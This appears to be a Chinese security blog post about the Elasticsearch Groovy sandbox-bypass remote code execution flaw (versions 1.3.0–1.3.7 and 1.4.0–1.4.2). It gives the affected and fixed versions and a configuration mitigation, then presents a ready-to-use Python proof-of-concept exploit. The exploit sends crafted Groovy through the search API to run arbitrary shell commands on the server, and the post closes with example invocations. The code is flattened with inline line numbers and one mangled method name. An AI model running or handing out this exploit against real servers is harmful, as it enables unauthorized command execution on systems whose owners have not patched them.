ElasticSearch是一个JAVA开发的搜索分析引擎.
2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。
这次轮到的Groovy,影响版本是Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。
这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令。
已修复的版本是Elasticsearch 1.3.8 和 1.4.3,建议用户更新到最新版本。
当然如果你不想升级版本也可以通过修改elasticseach.yml的 script.groovy.sandbox.enabled 为 false就行了。
Python写的POC
1 #!/usr/bin/env python 2 #-*-coding:utf-8-*- 3 import urllib 4 import urllib2 5 import json 6 import sys 7 def execute(url,command): 8 parameters = { 9 "size":1, 10 "script_fields": 11 {"iswin": 12 { 13 "script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class). ewInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("%s").getInputStream())).readLines()" % command, 14 "lang": "groovy" 15 } 16 } 17 } 18 data = json.dumps(parameters) 19 try: 20 request=urllib2.Request(url+"_search?pretty",data) 21 request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36') 22 response=urllib2.urlopen(request) 23 result = json.loads(response.read())["hits"]["hits"][0]["fields"]["iswin"][0] 24 for i in result: 25 print i 26 except Exception, e: 27 print e 28 if __name__ == '__main__': 29 if len(sys.argv) != 3: 30 print "usage %s url command" % sys.argv[0] 31 else: 32 execute(sys.argv[1],sys.argv[2])
用法:
1. python Elasticsearch.py target ifconfig 2. python Elasticsearch.py target 'uname -a'